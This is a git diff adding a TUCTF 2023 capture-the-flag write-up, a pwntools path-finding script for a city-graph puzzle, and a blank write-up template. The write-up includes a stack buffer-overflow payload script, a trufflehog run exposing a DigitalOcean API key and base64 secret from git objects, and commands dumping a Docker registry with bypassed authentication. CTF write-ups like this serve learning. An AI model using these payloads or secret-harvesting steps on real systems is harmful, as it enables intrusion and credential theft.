diff --git a/2023_tuctf/agent.py b/2023_tuctf/agent.py new file mode 100644 index 0000000..684f124 --- /dev/null +++ b/2023_tuctf/agent.py @@ -0,0 +1,213 @@ +from pwn import * +import random + +# Change logging level to help with debugging (error/warning/info/debug) +# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING'] +#context.log_level = 'debug' + +def mapper(): + conn.sendlineafter(b':', 'HAHAHAHAHHAHAHAHAHAHAH') + status = conn.recvuntil(b'Option: ', drop=True).decode('latin-1') + print(status) + print() + print() + conn.send(b'2\r\n') + current = conn.recvuntil(b'Investigate:', drop=True).decode('latin-1') + print("current: "+current) + print() + print() + print() + + path = ['Attaya'] + with open('log.txt', 'a') as f: + f.write("===================================================\n'\n") + f.close() + + + while True: + city_options = [] + current = current.split('\n') + + for line in current: + if line.startswith('- Current'): + current_city = line.split(':')[1] + elif line.startswith('- Next'): + neighbours_splitted = line.split('|') + for i in range(len(neighbours_splitted)): + if i % 2: # if i is odd + city_options.append(neighbours_splitted[i].strip()) + elif line.startswith('- Description'): + description = line.split(':')[1] + + next_city = random.choice(city_options) + path.append(next_city) + + print("current_city: "+str(current_city)) + print("city_options: "+str(city_options)) + print("description: "+str(description)) + print("path: "+str(path)) + print() + with open('log.txt', 'a') as f: + f.write("current_city: "+str(current_city)+'\n') + f.write("city_options: "+str(city_options)+'\n') + f.write("description: "+str(description)+'\n') + f.write("path: "+str(path)+'\n\n') + f.close() + + conn.send(next_city + '\n') + current = conn.recvuntil(b'Investigate:', drop=True).decode('latin-1') + + +def get_path(): + success = False + path_costs = {} + + while not success: + neighbours = { + 'Attaya': { + 'Belandris': 10, + 'Delato': 5, + 'Charity': 3 + }, + 'Charity': { + 'Belandris': 8, + 'Emell': 2, + 'Flais': 8, + 'Attaya': 3, + 'Haphsa': 3, + 'Delato': 1, + }, + 'Haphsa': { + 'Iyona': 8, + 'Kepliker': 7, + 'Melyphora': 8, + 'Queria': 10, + 'Delato': 1, + }, + 'Melyphora': { + 'Partamo': 4, + 'Shariot': 11, + 'Queria': 1, + }, + 'Queria': { + 'Partamo': 1, + 'Rhenora': 6, + 'Shariot': 10, + }, + 'Partamo': { + 'Osiros': 1, + 'Rhenora': 5, + 'Shariot': 9, + }, + 'Flais': { + 'Gevani': 3, + 'Iyona': 3, + 'Haphsa': 1, + }, + 'Delato': { + 'Flais': 5, + 'Iyona': 5, + 'Belandris': 3, + }, + 'Belandris': { + 'Jolat': 15, + 'Gevani': 8, + 'Emell': 1, + }, + 'Jolat': { + 'Osiros': 7, + 'Leter': 4, + 'Kepliker': 5, + }, + 'Gevani': { + 'Jolat': 8, + 'Iyona': 1, + 'Haphsa': 6, + }, + 'Emell': { + 'Gevani': 5, + 'Iyona': 3, + 'Flais': 5, + }, + 'Iyona': { + 'Jolat': 15, + 'Leter': 4, + 'Kepliker': 3, + }, + 'Kepliker': { + 'Leter': 5, + 'Osiros': 2, + 'Partamo': 6, + 'Queria': 7, + 'Delato': 2, + 'Melyphora': 5, + }, + 'Leter': { + 'Osiros': 3, + 'Rhenora': 10, + }, + 'Osiros': { + 'Shariot': 8, + 'Rhenora': 6, + }, + 'Rhenora': { + 'Notasto': 2, + 'Shariot': 1, + }, + 'Notasto': { + 'Shariot': 7 + }, + } + + current_city = 'Attaya' + path = ['Attaya'] + path_cost = 0 + i = 0 + + while neighbours[current_city] != {}: + new_city = random.choice(list(neighbours[current_city].keys())) + path_cost += neighbours[current_city][new_city] + #print("i: "+str(i)) + #print("current_city: "+current_city+" "+str(neighbours[current_city])) + #print("path_cost: "+str(path_cost)) + #print("path: "+str(path)) + #print() + + current_city = new_city + path.append(new_city) + i += 1 + + if current_city == 'Shariot': + path_costs[path_cost] = path + break + + # find path with lowest cost: + try: + lowest_cost = min(path_costs.keys()) + except ValueError: + continue + + print("cost: "+str(lowest_cost)+", path: "+str(path_costs[lowest_cost])) + + + +# MAPPING + +#while True: +# try: +# print("===================================================") +# print("trying to connect...") +# conn = remote('chal.tuctf.com', 30012) +# print("executing mapper()") +# print() +# print() +# mapper() +# print("closing connection...") +# conn.close() +# sleep(1) +# except EOFError: +# continue + + +# GET PATH +get_path() diff --git a/2023_tuctf/hidden-value.png b/2023_tuctf/hidden-value.png new file mode 100644 index 0000000..6a99bd6 Binary files /dev/null and b/2023_tuctf/hidden-value.png differ diff --git a/2023_tuctf/writeup.md b/2023_tuctf/writeup.md new file mode 100644 index 0000000..f5b0c95 --- /dev/null +++ b/2023_tuctf/writeup.md @@ -0,0 +1,115 @@ + +# tuctf 2023 +https://tuctf.com/2023 + +### Index +- [Forensics](#forensics) + - [state of the git](#state-of-the-git) +- [Pwn](#pwn) + - [hidden values](#hidden-values) +- [Misc](#misc) + - [silly registry](#silly-registry) + - [secret agent](#secret-agent) + + +# Forensics + +## state of the git +Description:
+given is an git repository, with an IaC (Infrastructure as Code) codebase written in Terraform. + +You can search the repository for api keys with tools like [trufflehog](https://github.com/trufflesecurity/trufflehog), which will give you an digitalocean v2 API key. +```bash +# run "trufflehog filesystem ." inside git repository +🐷🔑🐷 TruffleHog. Unearth your secrets. 🐷🔑🐷 + +Found unverified result 🐷🔑❓ +Detector Type: DigitalOceanV2 +Decoder Type: BASE64 +Raw result: dop_v1_07fbc880cf053a91979807dfaaf8ad5c9880abae1f8df2ccece966942af41408 +File: .git/objects/95/5de908450115ce7b6892c2a58c03e7e2221a6f +Line: 60 + +# inspect the git object further +git cat-file -p 955de908450115ce7b6892c2a58c03e7e2221a6f + +# the flag is base64 encoded in following line: +"password": "VFVDVEZ7NzNycjRmMHJtX1M3QTczLTF5XzUzY3IzNzV9Cg==", // ZG9wX3YxXzA3ZmJjODgwY2YwNTNhOTE5Nzk4MDdkZmFhZjhhZDVjOTg4MGFiYWUxZjhkZjJjY2VjZTk2Njk0MmFmNDE0MDgK < Change this before going ! +``` + +# Pwn + +## hidden values +Description:
+Given is an tcp socket, to whom you can connect with netcat. + + + +You need to overwrite an variable on the stack with 0xdeadbeef, through an buffer overflow to trigger the if statement and get the flag: +```python +from pwn import * + +# Change logging level to help with debugging (error/warning/info/debug) +context.log_level = 'debug' + +# connect +io = remote("chal.tuctf.com", 30011) + +# Build the payload +payload = flat( + b'A' * 44, + p32(0xdeadbeef) +) + +# Send the payload +io.sendlineafter(b':', payload) +io.recvall() + +# bruteforce location of 0xdeadbeef locally: +#for i in range(0,100): +# io = process('./hidden-value') +# io.sendlineafter(b':', b'A' * i + p32(0xdeadbeef)) +# print(io.recvall().decode('latin-1')) +``` + + +# Misc + +## silly registry +Description:
+given is a hostname and port. + +On the port runs https://distribution.github.io/distribution which is docker registry software to host docker container images.
+The registry uses silly authorization, which is for developing purposes and only check if the Authorization header is present and not the content. +- https://distribution.github.io/distribution/about/configuration/#silly +- https://book.hacktricks.xyz/network-services-pentesting/5000-pentesting-docker-registry +- https://github.com/Syzik/DockerRegistryGrabber + +```bash +# connect with Authorization header and retrieve image list +curl -H "Authorization: anything" http://chal.tuctf.com:30003/v2/_catalog + +# use docker registry grabber to enumerate +python drg.py -A "lkas" http://chal.tuctf.com:30003/v2/ --dump_all + +# the flag is one of the extracted images +``` + + +## secret agent +Description:
+given is a tcp socket to whom you can connect with netcat. + +Key:
+First you need to find the correct key, which is "HAHAHAHAHHAHAHAHAHAHAH" + +Challenge1:
+Script for mapping the cities with their costs and calculating the cheapest path is [agent.py](./agent.py). The correct path with a cost of 20 is ['Attaya', 'Charity', 'Emell', 'Iyona', 'Kepliker', 'Osiros', 'Rhenora', 'Shariot']. + +Challenge2:
+you get text in the braille alphabet " ⠥⠞⠀⠞⠉⠀⠎⠊⠋⠀⠍⠁⠀⠵⠁⠀⠝⠊⠀⠺⠊⠛⠀⠇⠇⠊⠀⠕⠉⠀⠍⠀⠑⠀⠃⠀⠅⠉⠁⠀⠛⠁⠀⠝⠊⠁".
+When decoding it with https://www.dcode.fr/braille-alphabet you get "UT TC SIF MA ZA NI WIG LLI OC M E B KCA GA NIA".
+Which is little endian, so you need to read each chunck from back to front, which results to TUCTFISAMAZINGIWILLCOMEBACKAGAIN. + +Challenge3:
+Enter TUCTFISAMAZINGIWILLCOMEBACKAGAIN, and get the flag \ No newline at end of file diff --git a/template.md b/template.md new file mode 100644 index 0000000..b64e994 --- /dev/null +++ b/template.md @@ -0,0 +1,48 @@ +# ctf 2024 +description + + +### Index +- [Web](#web) + - [chal1](#chal1) + - [chal2](#chal2) + - [chal3](#chal3) +- [Cryptography](#cryptography) +- [Reversing](#Reversing) +- [Pwn](#pwn) +- [Forensics](#forensics) +- [Osint](#osint) +- [Programming](#programming) +- [Stegonography](#stegonography) +- [Network](#Network) +- [Misc](#misc) + + + +# Web + +## chal1 + +test.png + +## chal2 + +## chal3 + +# Cryptography + +# Reversing + +# Pwn + +# Forensics + +# Osint + +# Programming + +# Stegonography + +# Network + +# Misc \ No newline at end of file